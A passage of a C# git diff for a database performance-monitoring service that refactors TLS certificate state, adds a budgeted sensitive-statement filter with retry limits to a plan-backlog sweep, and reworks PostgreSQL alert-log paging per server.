+        ("executions", "Executions"),
+    };
+}
+
+/// <summary>#5329: the relation an Hourly-tier top-queries or top-procedures read names (see <see cref="TopRankings.ChooseHourlyRoute"/>).</summary>
+public enum HourlyRoute
+{
+    /// <summary>The stitched interval-honest rollups (<c>RollupCoverage.StitchedRelationSql</c>), today's route.</summary>
+    Stitched,
+
+    /// <summary><c>collect.query_stats_io_hourly</c> or <c>collect.procedure_stats_io_hourly</c>: carries every ranking's column and the three reads sums.</summary>
+    Io,
+
+    /// <summary>The raw tier (a reads ranking no rollup answers whole, and raw reaches at least as far back).</summary>
+    Raw,
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/WebTlsCertificateState.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/WebTlsCertificateState.cs
index b6aa4520ca..81378d8522 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/WebTlsCertificateState.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/WebTlsCertificateState.cs
@@ -37,45 +37,16 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 ///
 /// <para>Thread-safety: one writer (the web host's start path), one reader (the worker's sweep). State is a
 /// single immutable record reference swapped atomically, so the reader never sees a torn snapshot. Null until
-/// the host publishes — which it does only when it has a loaded certificate; loopback-only installs, an
-/// unconfigured <c>tls</c> block and an unusable one all leave it null, and the worker reads null as "no LAN
+/// the host publishes — which it does when it has a loaded certificate, or when it could not load the one it
+/// was told to (<see cref="ListenerTlsCertificateState.Snapshot.LoadRefusal"/>); loopback-only installs, an
+/// unconfigured <c>tls</c> block and a misconfigured one all leave it null, and the worker reads null as "no LAN
 /// TLS certificate to watch" and raises nothing.</para>
+///
+/// <para>The members (<c>Publish</c>, <c>Clear</c>, <c>Read</c> and the <c>Snapshot</c> record) live on
+/// <see cref="ListenerTlsCertificateState"/>, shared with the MCP endpoint's twin
+/// <see cref="McpTlsCertificateState"/> (#5288); this subclass is the web dashboard's own singleton, so a
+/// web restart can never clear or resolve an MCP alert.</para>
 /// </summary>
-public sealed class WebTlsCertificateState
+public sealed class WebTlsCertificateState : ListenerTlsCertificateState
 {
-    /// <summary>A coherent published snapshot of the loaded web-dashboard TLS certificate. <see cref="NotBeforeUtc"/>
-    /// and <see cref="NotAfterUtc"/> are normalized to UTC by the publisher (the X.509 <c>NotBefore</c> /
-    /// <c>NotAfter</c> are LOCAL times). <see cref="RefusedNotYetValid"/> is the host's load-time verdict that
-    /// the certificate's window had not opened yet, so it refused to serve it and the LAN dashboard is
-    /// loopback-only (#3517) — a standing fact about THIS process's start, true until the host publishes
-    /// again or clears, not something to re-check against the clock.</summary>
-    public sealed record Snapshot(
-        DateTimeOffset NotBeforeUtc,
-        DateTimeOffset NotAfterUtc,
-        string Subject,
-        string Thumbprint,
-        bool RefusedNotYetValid);
-
-    private volatile Snapshot? _current;
-
-    /// <summary>Publishes the loaded certificate's facts (web host only, at start; also for a certificate the
-    /// host loaded and then refused for lifetime, so an expired-at-start certificate still surfaces and a
-    /// not-yet-valid one is reported as the refusal it was, #3517).</summary>
-    public void Publish(
-        DateTimeOffset notBeforeUtc, DateTimeOffset notAfterUtc, string subject, string thumbprint, bool refusedNotYetValid) =>
-        _current = new Snapshot(notBeforeUtc, notAfterUtc, subject ?? string.Empty, thumbprint ?? string.Empty, refusedNotYetValid);
-
-    /// <summary>Clears the published snapshot back to "nothing to watch" (web host only) — called when the
-    /// host STOPS serving TLS: a runtime disable of the dashboard, or a failed/degraded start. Without this
-    /// the snapshot is write-once and the worker keeps re-firing the expiry alert about a certificate the
-    /// process is no longer serving, with no resolution short of a full restart (#3514 follow-up). The
-    /// certificate is published again on the next successful start, so a port-change rebind — where Stop and
-    /// Start run back-to-back in one supervisor tick — re-publishes before the worker's next sweep observes
-    /// the null, and does not flicker a resolution.</summary>
-    public void Clear() => _current = null;
-
-    /// <summary>The latest published snapshot, or null when the web host has no loaded TLS certificate
-    /// (loopback-only, no <c>tls</c> block, an unusable one, or after a stop/degrade) — read by the worker as
-    /// "nothing to watch".</summary>
-    public Snapshot? Read() => _current;
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs b/Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs
index a40f2b1c9d..781cc0f921 100644
--- a/Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs
@@ -16,6 +16,7 @@
 using Npgsql;
 using NpgsqlTypes;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Darling.Service.Targets;
 
@@ -139,7 +140,15 @@ internal static class OversizedPlanBacklogSweep
     ///
     /// <para><b>What it costs at the top of the range.</b> One server's pass is serial under
     /// <see cref="PerPlanBudget"/>, so the worst case for one monitored server is ten times fifteen seconds,
-    /// 150 seconds; the fleet pass is serial too, so 42 servers all timing out at the cap is 105 minutes.
+    /// 150 seconds of fetch; the fleet pass is serial too, so 42 servers all timing out at the cap is 105 minutes of
+    /// fetch. The statement filter's judging is the service's own work, not the monitored server's, and adds to that:
+    /// a row never tried shares one 15-second judging budget with the rest of its batch, and a row tried before
+    /// judges on a budget of its own (<see cref="SessionFor"/>, #5367). A claim takes at most
+    /// <c>OversizedPlanBacklog.TriedRowsPerClaim</c> tried rows while never-tried rows are waiting (five of ten), so the
+    /// worst pass is five tried rows that each overrun their own budget plus five never-tried rows that share one:
+    /// five times (15 s fetch plus 15 s judging) plus five times 15 s fetch plus one 15 s budget, 240 seconds. With no
+    /// never-tried rows waiting the tried rows fill the claim, ten times (15 s fetch plus 15 s judging), 300 seconds;
+    /// that pass spends no time on new rows because there are none.
     /// Two passes never overlap whatever the interval — <c>DarlingWorker</c> tracks the pass and its gate
     /// will not launch on top of an incomplete one — so a pass that outruns <see cref="SweepInterval"/> runs
     /// back-to-back with its successor at the SAME one-plan-at-a-time load rather than at two passes' worth
@@ -155,7 +164,8 @@ internal static class OversizedPlanBacklogSweep
     /// trickles never trips it. Fifteen seconds is the top of the issue's range, and a plan that cannot be
     /// read in fifteen seconds on the collector's own same-region path is one this pass should abandon and
     /// re-attempt on a later pass rather than hold a connection for — later rather than next, because the
-    /// claim sends an attempted row to the back of the queue so nothing can starve.
+    /// claim orders the tried rows by attempt age, so a row just tried waits behind the other tried rows, and takes
+    /// at most half of a claim's slots so it cannot keep a never-tried row out.
     /// </summary>
     internal static readonly TimeSpan PerPlanBudget = TimeSpan.FromSeconds(15);
 
@@ -209,8 +219,14 @@ internal enum PlanFetchVerdict
         /// <summary>The handle no longer renders a plan — a benign, expected end state.</summary>
         Expired,
 
-        /// <summary>The fetch could not complete. Nothing was learned; the row stays claimable.</summary>
+        /// <summary>The fetch could not complete (a connect failure, a driver fault, its own budget, or a judging
+        /// budget an earlier plan had already used). Nothing was learned; the row stays claimable and the attempt is
+        /// NOT counted toward <see cref="MaxJudgeAttempts"/>.</summary>
         Failed,
+
+        /// <summary>The plan had the whole judging budget to itself and overran it. The row stays claimable and the
+        /// attempt IS counted: this is the only outcome that counts toward <see cref="MaxJudgeAttempts"/> (#5367 review, A-M1).</summary>
+        JudgeTimedOut,
     }
 
     /// <summary>
@@ -452,6 +468,10 @@ private static async Task SweepServerAsync(
         var pending = await ClaimAsync(postgres, server.ServerId, cancellationToken).ConfigureAwait(false);
         tally.PlansClaimed += pending.Count;
 
+        /* #4348: one standalone scrub session per batch (a pass over one server's claimed plans), so the 15-second
+           judging budget is shared across the batch and a plan the budget cannot cover stays claimable. */
+        var scrub = new SensitiveStatements.Session();
+
         if (pending.Count == 0)
         {
             return;
@@ -462,6 +482,7 @@ private static async Task SweepServerAsync(
             if (cancellationToken.IsCancellationRequested)
             {
                 tally.Interrupted = true;
+                LogScrub(scrub, server, logger);
                 return;
             }
 
@@ -470,9 +491,15 @@ private static async Task SweepServerAsync(
                outcome write fall to the storage phase where they belong. */
             var fetchStart = Stopwatch.GetTimestamp();
 
-            var (verdict, planXml, error) = await FetchOnePlanAsync(server, plan, logger, cancellationToken)
+            var session = SessionFor(plan, scrub);
+            var (verdict, planXml, error) = await FetchOnePlanAsync(server, plan, session, logger, cancellationToken)
                 .ConfigureAwait(false);
 
+            if (!ReferenceEquals(session, scrub))
+            {
+                LogScrub(session, server, logger);
+            }
+
             tally.TargetMs += (long)Stopwatch.GetElapsedTime(fetchStart).TotalMilliseconds;
 
             await RecordOutcomeAsync(postgres, server, plan, verdict, planXml, logger).ConfigureAwait(false);
@@ -502,6 +529,22 @@ outcome write fall to the storage phase where they belong. */
                     break;
             }
         }
+
+        LogScrub(scrub, server, logger);
+    }
+
+    /// <summary>#4348: the batch's statement-filter counters, once per batch and only when the batch judged
+    /// something it withheld or could not judge.</summary>
+    private static void LogScrub(SensitiveStatements.Session scrub, ServerRuntime server, ILogger? logger)
+    {
+        if (scrub.Named == 0 && scrub.TimedOut == 0 && scrub.Unjudged == 0)
+        {
+            return;
+        }
+
+        logger?.LogInformation(
+            "Oversized-plan backlog: statement filter on '{Server}': {Named} withheld, {TimedOut} timed out, {Unjudged} unjudged, {Ms} ms",
+            server.Config.DisplayName, scrub.Named, scrub.TimedOut, scrub.Unjudged, scrub.ElapsedMs);
     }
 
     /// <summary>
@@ -509,7 +552,7 @@ outcome write fall to the storage phase where they belong. */
     /// marks nothing, because the sweep is the single writer on this path and a lock held across a
     /// target fetch is the one shape a bound must never take.
     /// </summary>
-    private static async Task<List<OversizedPlanBacklog.PendingPlan>> ClaimAsync(
+    internal static async Task<List<OversizedPlanBacklog.PendingPlan>> ClaimAsync(
         NpgsqlDataSource postgres,
         int serverId,
         CancellationToken cancellationToken)
@@ -537,7 +580,9 @@ outcome write fall to the storage phase where they belong. */
                     reader.GetInt32(4),
                     reader.IsDBNull(5) ? null : reader.GetString(5),
                     QueryHash: null,
-                    reader.GetInt64(6))));
+                    reader.GetInt64(6)),
+                reader.GetInt32(7),
+                reader.GetBoolean(8)));
         }
 
         return claimed;
@@ -551,6 +596,7 @@ outcome write fall to the storage phase where they belong. */
     private static async Task<(PlanFetchVerdict Verdict, string? PlanXml, string? Error)> FetchOnePlanAsync(
         ServerRuntime server,
         OversizedPlanBacklog.PendingPlan plan,
+        SensitiveStatements.Session scrub,
         ILogger? logger,
         CancellationToken cancellationToken)
     {
@@ -590,7 +636,7 @@ MaxPlansPerServerPerTick per server per pass. The cap's problem was two hundred
                a cycle's drain, not one of them. */
             var planXml = reader.GetString(0);
 
-            return (PlanFetchVerdict.Captured, planXml, null);
+            return JudgeFetchedPlan(scrub, planXml, plan.AttemptCount);
         }
         catch (Exception ex) when (ex is not OperationCanceledException || budget.IsCancellationRequested)
         {
@@ -611,6 +657,92 @@ shutdown must never be recorded as this fetch's own outcome. A shutdown re-throw
         }
     }
 
+    /// <summary>
+    /// How many judge timeouts a row gets before a plan the judging budget keeps failing to cover is retired as the
+    /// whole-plan marker (#5320). The backlog table had no cap on attempts (the claim orders by the last attempt
+    /// and nothing else), so without this a plan that always needs more than the session budget would be fetched
+    /// and judged again on every pass with no end. Two: the first timeout leaves the row claimable, in case the
+    /// budget was only short that once; the second is the plan, not the pass. Only a timeout on a plan that had the
+    /// WHOLE budget to itself counts (<see cref="PlanFetchVerdict.JudgeTimedOut"/> is the one verdict that adds to
+    /// <c>attempt_count</c>); a connect failure, an expiry, or a plan that met a budget an earlier plan had partly
+    /// used says nothing about the plan (#5367 review, A-M1).
+    /// </summary>
+    internal const int MaxJudgeAttempts = 2;
+
+    /// <summary>
+    /// #4348: the statement filter on a fetched plan, where the value first lands and before it is stored.
+    /// <paramref name="scrub"/> is the batch's session, passed in; the sweep never makes one of its own here.
+    ///
+    /// <para>A plan the judging budget could not cover is normally NOT stored as the marker: the verdict is
+    /// <see cref="PlanFetchVerdict.Failed"/> or <see cref="PlanFetchVerdict.JudgeTimedOut"/>, so the backlog row
+    /// stays claimable and the next pass, with a fresh budget, fetches it again. Only a plan that had the WHOLE
+    /// budget to itself (nothing judged on the session before it) can say anything about itself. If it overruns,
+    /// it is <see cref="PlanFetchVerdict.JudgeTimedOut"/>, which counts one attempt; on a row already timed out
+    /// <see cref="MaxJudgeAttempts"/> minus one times that is terminal: the whole-plan marker is stored as the
+    /// capture, which sets <c>captured_at</c>, so the claim never returns the row again. A plan that met a budget
+    /// an earlier plan in the batch had partly or wholly used stays Failed, which is not counted, however many
+    /// attempts the row has.</para>
+    /// </summary>
+    /// <param name="scrub">The batch's statement-filter session.</param>
+    /// <param name="planXml">The fetched plan.</param>
+    /// <param name="priorAttempts">The row's <c>attempt_count</c> when it was claimed.</param>
+    internal static (PlanFetchVerdict Verdict, string? PlanXml, string? Error) JudgeFetchedPlan(
+        SensitiveStatements.Session scrub, string planXml, int priorAttempts)
+    {
+        /* Whole budget: nothing was presented to this session before this plan, so the 15 seconds are this plan's
+           alone. Values counts every non-empty value, which is what charges the budget, and a spent session has
+           had values presented, so the one test covers the partly spent and the fully spent. */
+        var wholeBudget = scrub.Values == 0 && !scrub.Spent;
+
+        if (!scrub.TryXml(planXml, out var judged))
+        {
+            if (!wholeBudget)
+            {
+                return (PlanFetchVerdict.Failed, null, "the statement filter's judging budget was spent before this plan");
+            }
+
+            if (priorAttempts + 1 >= MaxJudgeAttempts)
+            {
+                return (PlanFetchVerdict.Captured, judged, null);
+            }
+
+            return (PlanFetchVerdict.JudgeTimedOut, null, "the plan overran the statement filter's judging budget");
+        }
+
+        return (PlanFetchVerdict.Captured, judged, null);
+    }
+
+    /// <summary>
+    /// The judging session for one claimed plan (#5367): the batch's shared session for a row never tried, a session of
+    /// its own for a row that was tried before.
+    ///
+    /// <para><b>Why a session of its own, not a claim order alone.</b> <see cref="JudgeFetchedPlan"/> retires a plan
+    /// only when it was judged on a whole budget, which on the shared session means first in its batch. A row that
+    /// was tried once (a connect failure, or a budget an earlier plan had used) is claimed behind the rows never tried
+    /// and, even claimed first among the tried rows, is first in the batch only when nothing is ahead of it. That
+    /// order can repeat for ever, and the row is then fetched and judged again on every pass, the forever-retry the
+    /// retirement limit removed. A session of its own gives every tried row a whole budget whatever its place in the
+    /// batch, so each claim of it ends in a judged plan, a counted timeout, or (on the second timeout) the marker.
+    /// The cost is the time bound: see <see cref="MaxPlansPerServerPerTick"/>.</para>
+    /// </summary>
+    internal static SensitiveStatements.Session SessionFor(
+        OversizedPlanBacklog.PendingPlan plan,
+        SensitiveStatements.Session batch,
+        Func<SensitiveStatements.Session>? fresh = null) =>
+        plan.Tried ? (fresh ?? (() => new SensitiveStatements.Session()))() : batch;
+
+    /// <summary>
+    /// The statement that records a verdict. Only a judge timeout adds to <c>attempt_count</c> (and a capture, which
+    /// retires the row): a connect failure, an expiry or a budget skip stamps the attempt time and nothing else.
+    /// </summary>
+    internal static string OutcomeSql(PlanFetchVerdict verdict) => verdict switch
+    {
+        PlanFetchVerdict.Captured => OversizedPlanBacklog.RecordCaptureSql,
+        PlanFetchVerdict.Expired => OversizedPlanBacklog.RecordExpirySql,
+        PlanFetchVerdict.JudgeTimedOut => OversizedPlanBacklog.RecordAttemptSql,
+        _ => OversizedPlanBacklog.RecordFailureSql,
+    };
+
     /// <summary>
     /// Stamps one row's outcome. Runs on <see cref="CancellationToken.None"/> for the reason the stall probe's
     /// store write does: the target query is already paid for, so a shutdown arriving between the fetch and
@@ -624,12 +756,7 @@ private static async Task RecordOutcomeAsync(
         string? planXml,
         ILogger? logger)
     {
-        var sql = verdict switch
-        {
-            PlanFetchVerdict.Captured => OversizedPlanBacklog.RecordCaptureSql,
-            PlanFetchVerdict.Expired => OversizedPlanBacklog.RecordExpirySql,
-            _ => OversizedPlanBacklog.RecordAttemptSql,
-        };
+        var sql = OutcomeSql(verdict);
 
         try
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/PerformanceMonitor.Darling.Service.csproj b/Darling/PerformanceMonitor.Darling.Service/PerformanceMonitor.Darling.Service.csproj
index 1f42d71a87..5e433e72a5 100644
--- a/Darling/PerformanceMonitor.Darling.Service/PerformanceMonitor.Darling.Service.csproj
+++ b/Darling/PerformanceMonitor.Darling.Service/PerformanceMonitor.Darling.Service.csproj
@@ -16,6 +16,7 @@
   <ItemGroup>
     <PackageReference Include="AWSSDK.PI" />
     <PackageReference Include="AWSSDK.RDS" />
+    <PackageReference Include="AWSSDK.SecurityToken" />
     <PackageReference Include="Microsoft.Extensions.Hosting" />
     <PackageReference Include="Microsoft.Extensions.Hosting.WindowsServices" />
     <PackageReference Include="Microsoft.Data.SqlClient" />
diff --git a/Darling/PerformanceMonitor.Darling.Service/PgAlertHistoryStore.cs b/Darling/PerformanceMonitor.Darling.Service/PgAlertHistoryStore.cs
index a98d61c745..1581738e6f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/PgAlertHistoryStore.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/PgAlertHistoryStore.cs
@@ -12,6 +12,7 @@
 using Microsoft.Extensions.Logging;
 using Npgsql;
 using NpgsqlTypes;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Notifications;
 
 namespace PerformanceMonitor.Darling.Service;
@@ -78,8 +79,11 @@ INSERT INTO config_alert_log (alert_time, server_id, server_name, metric_name, c
             command.Parameters.AddWithValue(record.NotificationType);
             command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)record.SendError ?? DBNull.Value });
             command.Parameters.AddWithValue(record.Muted);
-            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)record.DetailText ?? DBNull.Value });
-            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)record.ContextJson ?? DBNull.Value });
+            /* #4348/#5320 Layer 0b: the alert text and its context are judged where they are written, because the
+               source rows an alert was built from may predate the collection-time filter. Clean text is the same
+               instance, so the stored row is unchanged. */
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)DerivedStoreScrub.Text(record.DetailText) ?? DBNull.Value });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)DerivedStoreScrub.Json(record.ContextJson) ?? DBNull.Value });
 
             await command.ExecuteNonQueryAsync();
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/PgDeadlockRemask.cs b/Darling/PerformanceMonitor.Darling.Service/PgDeadlockRemask.cs
index 194fc9ef33..c256c32440 100644
--- a/Darling/PerformanceMonitor.Darling.Service/PgDeadlockRemask.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/PgDeadlockRemask.cs
@@ -99,6 +99,54 @@ public static class PgDeadlockRemask
     /// </summary>
     public readonly record struct ReportCursor(DateTime CollectionTime, int ServerId);
 
+    /// <summary>
+    /// Where an alert-log walk resumes (#5625): a position in <c>idx_config_alert_log_time (server_id, metric_name,
+    /// alert_time)</c> order, which is the order both alert stages walk in. <see cref="AlertTime"/> is the last
+    /// instant finished under <see cref="ServerId"/> and <see cref="MetricName"/> (rows tied at it are finished
+    /// too); null means that server and metric are still to be read from their first row. The log is not walked in
+    /// <c>alert_time</c> order across servers because no index serves that: the walk would read every row of every
+    /// server on each page. Nothing depends on the global order: no UPDATE changes <c>server_id</c>,
+    /// <c>metric_name</c> or <c>alert_time</c>, so a rewritten or dismissed row keeps its place in this index order, and
+    /// an alert written after this build is already in its final form, wherever it lands.
+    /// </summary>
+    public readonly record struct AlertLogCursor(int ServerId, string MetricName, DateTime? AlertTime);
+
+    /// <summary>The next server that has any row in <c>config_alert_log</c> at or after <c>$1</c> (a bigint, so
+    /// <c>server_id + 1</c> cannot overflow): one descent of <c>idx_config_alert_log_time</c> on its leading column,
+    /// not the servers registry, because the rows of a server that was removed stay in the log until their retention
+    /// ends (#5625).</summary>
+    public const string AlertServerProbeSql = @"
+SELECT a.server_id
+FROM config_alert_log AS a
+WHERE a.server_id >= $1
+ORDER BY a.server_id
+LIMIT 1";
+
+    /// <summary>The first server and metric of the log, in index order (#5625).</summary>
+    public const string AlertPairFirstSql = @"
+SELECT a.server_id, a.metric_name, a.metric_name LIKE 'Analysis: %' AS is_analysis
+FROM config_alert_log AS a
+ORDER BY a.server_id, a.metric_name
+LIMIT 1";
+
+    /// <summary>The next server and metric after <c>($1, $2)</c> in index order, with whether its name is an
+    /// <c>Analysis: </c> one (#5625). A row comparison on the index's first two columns, so the descent lands past every
+    /// row of the pair just finished: a loose scan that needs no range on <c>metric_name</c> (which could not be told
+    /// from the <c>LIKE</c> under every collation a bring-your-own store can have) and no skip scan.</summary>
+    public const string AlertPairNextSql = @"
+SELECT a.server_id, a.metric_name, a.metric_name LIKE 'Analysis: %' AS is_analysis
+FROM config_alert_log AS a
+WHERE (a.server_id, a.metric_name) > ($1, $2)
+ORDER BY a.server_id, a.metric_name
+LIMIT 1";
+
+    /// <summary>How many probe statements one alert page may run besides the row reads that fill it (#5625): every
+    /// step to the next server (deadlock stage) or to the next server and metric (finding-alert stage) is one,
+    /// whatever the metric's name and whether or not rows follow it. A page that meets no row to examine still ends,
+    /// with a cursor on the place it reached, so a log whose remaining metrics hold nothing to look at costs a few
+    /// pages rather than one that runs a statement per metric.</summary>
+    public const int MaxAlertStepsPerPage = 100;
+
     /// <summary>
     /// One page of stored reports, in <c>(collection_time, server_id)</c> order after the cursor (<c>$1</c>/<c>$2</c>,
     /// null for the start): <c>$3</c> rows and every row tied with the last, so a page never splits a batch and the
@@ -196,19 +244,24 @@ AND   d.victim_pid IS NOT DISTINCT FROM $4
 AND   d.deadlock_hash = {ReportAnchorSql}
 AND   {PgDeadlockLogParser.RawGraphHashSql("d.deadlock_hash", "d.graph_text")}";
 
-    /// <summary>One page of deadlock alert rows in <c>alert_time</c> order after <c>$1</c> (null for the start):
-    /// <c>$2</c> rows and every row tied with the last, so a page never splits one instant's rows and the next
-    /// resumes strictly after it. By <c>alert_time</c>, not physical order (#4036's round-2 review, finding 4): an
-    /// UPDATE writes a new copy of a row, and a Viewer dismiss-all writes one of every row, so a copy could land behind
-    /// a <c>ctid</c> cursor during an otherwise clean walk, never be read, and the stage be marked done over it. No
-    /// UPDATE changes a row's <c>alert_time</c>. <c>ctid</c> and <c>xmin</c> are only what the write checks the row by
+    /// <summary>One slice of deadlock alert rows of ONE server (<c>$1</c>) in <c>alert_time</c> order after <c>$2</c>
+    /// (null for the server's first row): <c>$3</c> rows and every row tied with the last, so a slice never splits one
+    /// instant's rows and the next resumes strictly after it. The server and the metric are both equalities, so the
+    /// read is one range of <c>idx_config_alert_log_time (server_id, metric_name, alert_time)</c> that starts at the
+    /// cursor and stops at the page size, on PostgreSQL 16, 17 and 18 alike (no skip scan, #5625). A page spans servers
+    /// by asking <see cref="AlertServerProbeSql"/> for the next one, never by one read over all of them: the metric
+    /// is not the index's first column, so a read over every server would walk each server's other alerts too.
+    /// By <c>alert_time</c>, not physical order (#4036): an UPDATE writes a new copy of a row, and a Viewer
+    /// dismiss-all writes one of every row, so a copy could land behind a <c>ctid</c> cursor during an otherwise clean
+    /// walk, never be read, and the stage be marked done over it. No UPDATE changes a row's <c>alert_time</c>,
+    /// <c>server_id</c> or <c>metric_name</c>. <c>ctid</c> and <c>xmin</c> are only what the write checks the row by
     /// (the history table is a plain table, never compressed, so both are there).
-    /// <para>The same statement resolves every report-shaped key the page's incidents carry to its stored report
-    /// (the rows after the page's, <c>is_report</c> true): whether its hash is raw, and a raw one's text, the
+    /// <para>The same statement resolves every report-shaped key the slice's incidents carry to its stored report
+    /// (the rows after the slice's, <c>is_report</c> true): whether its hash is raw, and a raw one's text, the
     /// earliest report where one hash covers two, as <see cref="DarlingPgDeadlockReader.DeadlocksSql"/> grouped them
-    /// when the alert fired. In SQL, from the page's own <c>context_json</c>, so no raw hash leaves the store as a
-    /// parameter (#4035), and in one statement, so the keys looked up are the page's own. The keys are matched as
-    /// text rather than parsed, so a context that is not JSON cannot fail the page (<see cref="RemaskAlert"/> leaves
+    /// when the alert fired. In SQL, from the slice's own <c>context_json</c>, so no raw hash leaves the store as a
+    /// parameter (#4035), and in one statement, so the keys looked up are the slice's own. The keys are matched as
+    /// text rather than parsed, so a context that is not JSON cannot fail the slice (<see cref="RemaskAlert"/> leaves
     /// such a row as it is).</para></summary>
     public static readonly string AlertPageSql = $@"
 WITH page AS MATERIALIZED
@@ -221,11 +274,12 @@ WITH page AS MATERIALIZED
         a.context_json,
         a.xmin
     FROM config_alert_log AS a
-    WHERE ($1::timestamp IS NULL OR a.alert_time > $1::timestamp)
+    WHERE a.server_id = $1
     AND   a.metric_name = '{AlertEngine.DeadlockWatermarkMetric}'
+    AND   ($2::timestamp IS NULL OR a.alert_time > $2::timestamp)
     AND   a.context_json IS NOT NULL
     ORDER BY a.alert_time
-    FETCH FIRST $2 ROWS WITH TIES
+    FETCH FIRST $3 ROWS WITH TIES
 ),
 keys AS
 (
@@ -726,49 +780,86 @@ static string Replace(string label, string value, List<(string OldKey, string Ne
     /// Examines one slice of deadlock alert rows and rewrites the ones still carrying a pre-#4005 incident (#4012).
     /// Returns the cursor to resume from, null once the log's end is reached, and how many rows changed between the
     /// read and the write (a dismissal moves a row), which were left as they were and need the log read again.
+    /// A slice reads one server at a time through <see cref="AlertPageSql"/> (a range of the alert-log index, bounded
+    /// by the slice's size) and steps to the next server with <see cref="AlertServerProbeSql"/> until it holds
+    /// <see cref="MaxAlertRowsPerPass"/> rows or the log ends (#5625).
     /// <paramref name="rowDone"/> hears each row's outcome, with the cursor to resume from once the row closes its
     /// <c>alert_time</c> (null while rows of that instant are left in the page), so a cancel mid-page resumes after
     /// the last instant finished and never skips a row tied with it.
     /// </summary>
-    public static async Task<(DateTime? NextCursor, int Examined, int Rewritten, int Raced)> RemaskStoredAlertsAsync(
-        NpgsqlConnection connection, DateTime? afterCursor, PgLogHashKey? keyUnresolvedWith, bool reportsMayBeRaw,
-        Action<DateTime?, RowOutcome>? rowDone, CancellationToken cancellationToken = default)
+    public static async Task<(AlertLogCursor? NextCursor, int Examined, int Rewritten, int Raced)> RemaskStoredAlertsAsync(
+        NpgsqlConnection connection, AlertLogCursor? afterCursor, PgLogHashKey? keyUnresolvedWith, bool reportsMayBeRaw,
+        Action<AlertLogCursor?, RowOutcome>? rowDone, CancellationToken cancellationToken = default)
     {
         ArgumentNullException.ThrowIfNull(connection);
 
         var page = new List<(string Ctid, DateTime AlertTime, int ServerId, string? Detail, string Context, uint Xmin)>();
         var reports = new Dictionary<(int, string), ResolvedReport>();
+        AlertLogCursor? next = null;
         await using (var transaction = await BeginBoundedAsync(connection, cancellationToken))
         {
-            await using (var select = new NpgsqlCommand(AlertPageSql, connection, transaction) { CommandTimeout = CommandBackstopSeconds })
+            int? server;
+            DateTime? after;
+            if (afterCursor is { } resume)
             {
-                select.Parameters.Add(new NpgsqlParameter { Value = (object?)afterCursor ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Timestamp });
-                select.Parameters.Add(new NpgsqlParameter { Value = (long)MaxAlertRowsPerPass, NpgsqlDbType = NpgsqlDbType.Bigint });
-                await using var reader = await select.ExecuteReaderAsync(cancellationToken);
-                while (await reader.ReadAsync(cancellationToken))
+                server = resume.ServerId;
+                after = resume.AlertTime;
+            }
+            else
+            {
+                server = await NextServerAsync(connection, transaction, long.MinValue, cancellationToken);
+                after = null;
+            }
+
+            var steps = 0;
+            while (server is { } current)
+            {
+                await using (var select = new NpgsqlCommand(AlertPageSql, connection, transaction) { CommandTimeout = CommandBackstopSeconds })
                 {
-                    if (!reader.GetBoolean(0))
+                    select.Parameters.Add(new NpgsqlParameter { Value = current, NpgsqlDbType = NpgsqlDbType.Integer });
+                    select.Parameters.Add(new NpgsqlParameter { Value = (object?)after ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Timestamp });
+                    select.Parameters.Add(new NpgsqlParameter { Value = (long)Math.Max(1, MaxAlertRowsPerPass - page.Count), NpgsqlDbType = NpgsqlDbType.Bigint });
+                    await using var reader = await select.ExecuteReaderAsync(cancellationToken);
+                    while (await reader.ReadAsync(cancellationToken))
                     {
-                        page.Add((
-                            reader.GetString(2),
-                            reader.GetDateTime(1),
-                            reader.GetInt32(3),
-                            reader.IsDBNull(4) ? null : reader.GetString(4),
-                            reader.GetString(5),
-                            reader.GetFieldValue<uint>(6)));
-                        continue;
+                        if (!reader.GetBoolean(0))
+                        {
+                            page.Add((
+                                reader.GetString(2),
+                                reader.GetDateTime(1),
+                                reader.GetInt32(3),
+                                reader.IsDBNull(4) ? null : reader.GetString(4),
+                                reader.GetString(5),
+                                reader.GetFieldValue<uint>(6)));
+                            continue;
+                        }
+
+                        /* A stored report one of the page's incidents names. */
+                        var raw = reader.GetBoolean(13);
+                        reports[(reader.GetInt32(3), reader.GetString(7))] = raw && !reader.IsDBNull(12)
+                            ? new ResolvedReport(ReportState.Raw, RemaskedIncident(
+                                reader.IsDBNull(8) ? null : reader.GetDateTime(8),
+                                reader.IsDBNull(9) ? null : reader.GetInt32(9),
+                                reader.IsDBNull(10) ? null : reader.GetInt32(10),
+                                reader.IsDBNull(11) ? null : reader.GetString(11),
+                                reader.GetString(12)))
+                            : new ResolvedReport(ReportState.Current, null);
                     }
+                }
 
-                    /* A stored report one of the page's incidents names. */
-                    var raw = reader.GetBoolean(13);
-                    reports[(reader.GetInt32(3), reader.GetString(7))] = raw && !reader.IsDBNull(12)
-                        ? new ResolvedReport(ReportState.Raw, RemaskedIncident(
-                            reader.IsDBNull(8) ? null : reader.GetDateTime(8),
-                            reader.IsDBNull(9) ? null : reader.GetInt32(9),
-                            reader.IsDBNull(10) ? null : reader.GetInt32(10),
